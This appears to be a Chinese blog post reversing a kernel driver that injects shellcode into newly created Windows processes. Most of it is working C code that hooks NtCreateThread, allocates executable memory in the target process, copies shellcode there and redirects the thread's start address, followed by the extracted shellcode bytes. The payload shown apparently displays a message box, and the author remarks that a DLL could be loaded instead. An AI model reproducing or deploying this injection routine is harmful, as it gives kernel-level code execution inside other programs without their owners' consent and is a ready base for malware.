by 执着一生
最近抽空把ring0msg[相关文章请参阅“邪恶的RING0注射ShellCode脆弱的PE加载机制”作者:hellfish]给逆了下,其实也不是什么高深的技术,很早的时候老外就搞出来了,只不过带ring3层的操作而已,稍微改改就完全可以用一个sys搞定。
原理也不复杂,其实就是修改线程入口点改变流程,让线程开始的时候先执行shellcode而已。ThreadContext->Eax是ETHREAD.Win32StartAddress就是线程入口点地址,主要在这里做文章就可以了。具体看代码吧。
当然你也可以换成加载一个dll或是什么的,不过用来搞破坏就不是好孩子了。。。。。
要测试的话最好在虚拟机上玩,因为卸载驱动的时候好像会蓝的哦!懒的调了,因为最近眼睛有点蓝。。。。
另外在逆向的时候参考了老外的代码,吼吼~~
主要代码片段:
NTSTATUS MyNtCreateThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
OUT PCLIENT_ID ClientId,
IN PCONTEXT ThreadContext,
IN PINITIAL_TEB InitialTeb,
IN BOOLEAN CreateSuspended)
{
NTSTATUS ResultStatus;
DBGPRINT(("Called NtCreateThread/n"));
if (
ThreadContext &&
CreateSuspended &&
ProcessHandle &&
ProcessHandle!=(void *)0xffffffff &&
FindLockProcessInQueue(ProcessHandle)
)
{
NTSTATUS ObjectStatus;
PEPROCESS pProcess;
POBJECT_TYPE PsProcessType = NULL;;
DBGPRINT(("Kernel trying to CreateThread for ProcessHandle = 0x%X/n",ProcessHandle));
ObjectStatus = ObReferenceObjectByHandle(
ProcessHandle,
PROCESS_ALL_ACCESS,
PsProcessType,
UserMode,
(PVOID *)&pProcess,
NULL);
if (ObjectStatus!=STATUS_SUCCESS)
{
DBGPRINT(("Fail to RefernceObject. Stopping Inject./n"));
}
else
{
NTSTATUS ZwAllocStatus;
UCHAR * BaseAddr;
SIZE_T AllocationSize;
ULONG Win32StartAddr;
AllocationSize = 200;
BaseAddr = NULL;
PsProcessType = NULL;
if (ThreadContext)
{
//remembering value of ThreadContext->Eax
//it contains process staring address in user mode
Win32StartAddr = ThreadContext->Eax;
if (!Win32StartAddr)
{
DBGPRINT(("--------------Win32StartAddr not set--------------------/n"));
}
else
{
//"jumping" to context of new process
KeDetachProcess();
KeAttachProcess((void *)pProcess);
//allocating memory with PAGE_EXECUTE_READWRITE access rights
ZwAllocStatus = ZwAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddr,
0,
&AllocationSize,
MEM_COMMIT ,
PAGE_EXECUTE_READWRITE);
if (ZwAllocStatus!=STATUS_SUCCESS)
{
DBGPRINT(("---------------Fail to Allocate memory! AllocStatus = 0x%x/n",ZwAllocStatus));
}
else
{
ULONG Offset = 0;
DBGPRINT(("---------------Memory allocation OK! BaseAddr = 0x%x/n",BaseAddr));
//写入shellcode代码
for(Offset;Offset<AllocationSize;Offset++)
{
BaseAddr[Offset] = shellcode[Offset];
}
DBGPRINT(("---------------Old EAX Value = 0x%08x/n",Win32StartAddr));
*((DWORD *)BaseAddr + 16) = Win32StartAddr;
Win32StartAddr = (ULONG)BaseAddr;
}
//"jumping" back to previos contex.
KeDetachProcess();
//setting process start address to allocated memory
ThreadContext->Eax = Win32StartAddr;
}
}
ObDereferenceObject(pProcess);
}
ExReleaseFastMutex(&g_QueueAccessFastMutex);
RemoveProcessFromQueue(ProcessHandle);
}
ResultStatus = Org_NtCreateThread(
ThreadHandle,
DesiredAccess,
ObjectAttributes,
ProcessHandle,
ClientId,
ThreadContext,
InitialTeb,
CreateSuspended);
if (ResultStatus == STATUS_SUCCESS && CreateSuspended)
{
DBGPRINT(("Kernel sucessfully create new thread./n----->ThreadHandle = 0x%xh for ProcessHandle = 0x%x/n",*ThreadHandle,ProcessHandle));
}
return ResultStatus;
}
sys文件中提取的shellcode:
unsigned char shellcode[] =
"/xE9/x86/x00/x00/x00/x5F/x64/xA1/x30/x00/x00/x00/x8B/x40/x0C/x8B"
"/x70/x1C/xAD/x8B/x68/x08/x8B/xF7/x6A/x01/x59/xE8/x26/x00/x00/x00"
"/xE2/xF9/x68/x33/x32/x00/x00/x68/x75/x73/x65/x72/x54/xFF/x16/x8B"
"/xE8/xE8/x10/x00/x00/x00/x6A/x00/x57/x57/x6A/x40/xFF/x56/x04/xB8"
"/xFF/xFF/xFF/xFF/x50/xC3/x51/x56/x8B/x75/x3C/x8B/x74/x2E/x78/x03"
"/xF5/x56/x8B/x76/x20/x03/xF5/x33/xC9/x49/x41/xAD/x03/xC5/x33/xDB"
"/x0F/xBE/x10/x3A/xD6/x74/x08/xC1/xCB/x0D/x03/xDA/x40/xEB/xF1/x3B"
"/x1F/x75/xE7/x5E/x8B/x5E/x24/x03/xDD/x66/x8B/x0C/x4B/x8B/x5E/x1C"
"/x03/xDD/x8B/x04/x8B/x03/xC5/xAB/x5E/x59/xC3/xE8/x75/xFF/xFF/xFF"
"/x8E/x4E/x0E/xEC/xA8/xA2/x4D/xBC/xD5/xE2/xCA/xC7/xC0/xB4/xD6/xC1"
"/x52/x69/x6E/x67/x30/xB5/xC4/xCE/xCA/xBA/xF2/x20/x62/x79/x20/x48"
"/x65/x6C/x6C/x46/x69/x73/x68/x40/x71/x71/x2E/x63/x6F/x6D/x00/x00";